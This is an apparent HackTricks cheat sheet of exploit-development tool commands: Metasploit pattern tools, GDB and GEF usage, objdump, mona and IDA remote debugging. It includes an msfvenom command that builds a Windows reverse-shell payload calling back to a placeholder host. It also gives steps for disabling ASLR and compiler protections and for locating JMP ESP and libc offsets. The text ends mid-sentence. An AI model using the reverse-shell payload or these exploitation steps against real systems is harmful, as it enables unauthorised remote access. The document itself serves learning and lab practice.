hacktricks/exploiting/tools

Exploiting Tools

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellcodes

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

Install

apt-get install gdb

Parameters:

-q --> No show banner
-x <file> --> Auto-execute GDB instructions from here
-p <pid> --> Attach to process

Instructions

> disassemble main --> Disassemble the function
> disassemble 0x12345678
> set disassembly-flavor intel
> set follow-fork-mode child/parent --> Follow created process
> p system --> Find the address of the system function
> help
> quit

> br func --> Add breakpoint to function
> br *func+23
> br *0x12345678
> del NUM --> Delete that number of br
> watch EXPRESSION --> Break if the value changes

> run --> Execute
> start --> Start and break in main
> n/next --> Execute next instruction no inside
> s/step --> Execute next instruction
> c/continue --> Continue until next breakpoint

> set $eip = 0x12345678 --> Change value of $eip
> info functions --> Info abount functions
> info functions func --> Info of the funtion
> info registers --> Value of the registers
> bt --> Stack
> bt full --> Detailed stack

> print variable
> print 0x87654321 - 0x12345678 --> Caculate
> examine o/x/u/t/i/s dir_mem/reg/puntero --> Shows content in octal/hexa/10/bin/instruction/ascii

• x/o 0xDir_hex
• x/2x $eip --> 2Words from EIP
• x/2x $eip -4 --> $eip - 4
• x/8xb $eip --> 8 bytes b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes
• i r eip --> Value of $eip
• x/w pointer --> Value of the pointer
• x/s pointer --> String pointed by the pointer
• x/xw &pointer --> Address where the poiniter is located
• x/i $eip —> Instructions of the EIP

GEF

checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

GDB server

gdbserver --multi 0.0.0.0:23947 in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Compile without protections
-o --> Output
-g --> Save code GDB will be able to see it
echo 0 > /proc/sys/kernel/randomize_va_space --> To deactivate the ASLR in linux

To compile a shellcode:
nasm -f elf assembly.asm --> return a ".o"
ld assembly.o -o shellcodeout --> Executable

Objdump

-d --> Disassemble executable sections see opcodes of a compiled shellcode, find ROP Gadgets, find function address...
-Mintel --> Intel sintax
-t --> Symbols table grep varBSS to get the address
-D --> Disassemble all address of static variable
-s -j .dtors --> Contenido de dtors
-s -j .got --> Contenido de got
-TR --> Relocations
ojdump -t --dynamic-relo ./exec | grep puts --> Address of "puts" to modify in GOT
objdump -TR ./exec | grep exit(func lib) —> Get address of all the functions inside the GOT

Core dumps

1. Run ulimit -c unlimited before starting my program
2. Run sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
3. sudo gdb --core=<path/core> --quiet

More

ldd executable | grep libc.so.6 --> Address if ASLR, then this change every time
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Loop to see if the address changes a lot
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset of "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset of "/bin/sh"

strace executable --> Functions called by the executable
rabin2 -i ejecutable --> Address of all the functions

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb --length 1000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb --length 1000 --query 1Ad2

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Debugging in remote linux

Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary linux_server or linux_server64 inside the linux server and run it nside the folder that contains the binary:

./linux_server64 -Ppass

Then, configure the debugger: Debugger linux remote --> Proccess options...: